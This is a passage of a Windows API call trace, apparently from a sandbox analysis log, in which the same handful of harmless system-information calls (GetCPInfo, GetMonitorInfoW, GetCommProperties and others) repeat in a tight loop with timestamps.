lpSelectorEntry=0x18feb8) returned 1 [0034.057] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.057] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.057] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.057] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.057] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.057] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.058] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.058] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.058] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.058] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.058] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.058] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.058] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.058] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.058] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.058] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.058] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.058] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.058] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.058] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.058] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.058] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.058] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.058] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.058] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.058] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.058] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.059] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.059] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.059] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.059] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.059] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.059] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.059] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.059] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.059] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.059] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.059] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.059] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.059] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.059] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.059] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.059] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.059] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.059] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.059] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.059] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.059] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.060] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.060] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.060] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.060] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.060] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.060] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.060] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.060] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.060] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.060] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.061] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.061] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.061] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.061] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.061] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.061] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.061] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.061] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.061] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.062] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.062] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.062] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.062] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.062] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.062] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.062] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.062] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.062] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.063] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.063] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.063] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.063] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.063] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.063] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.063] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.063] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.063] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.064] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.064] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.064] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0034.064] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0034.064] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0034.064] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0034.064] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0034.064] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: 